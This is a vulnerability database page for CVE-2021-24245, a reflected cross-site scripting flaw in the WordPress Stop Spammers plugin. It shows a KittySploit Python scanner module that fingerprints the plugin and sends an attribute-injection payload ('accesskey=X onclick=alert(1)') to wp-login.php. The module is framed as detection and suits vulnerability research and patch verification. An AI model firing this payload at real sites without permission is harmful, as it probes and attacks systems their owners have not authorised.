Lucene search
+L

WordPress Stop Spammers <2021.9 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Reflected XSS in WordPress Stop Spammers plugin via unescaped input in an attribute.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Stop Spammers plugin before 2021."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Stop Spammers <2021.9 - Cross-Site Scripting Detection',
        'description': 'WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2021', 'cve', 'wpscan', 'wordpress', 'xss', 'wp-plugin', 'packetstorm', 'trumani', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html',
            'https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-24245',
            'http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2021-24245',
    }

    def run(self):
        path = '/wp-content/plugins/stop-spammer-registrations-plugin/readme.txt'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('Stop Spammers Spam Prevention', 'Tags:',)
        if not (all(m in body for m in body_all)):
            return False
        path = '/wp-login.php'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP+Cookie+check;'}, data='log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('ad" accesskey=X onclick=alert(1)',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='WordPress Stop Spammers <2021.9 - Cross-Site Scripting detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
CVSS 24.3
CVSS 3.16.1
EPSS0.05721
1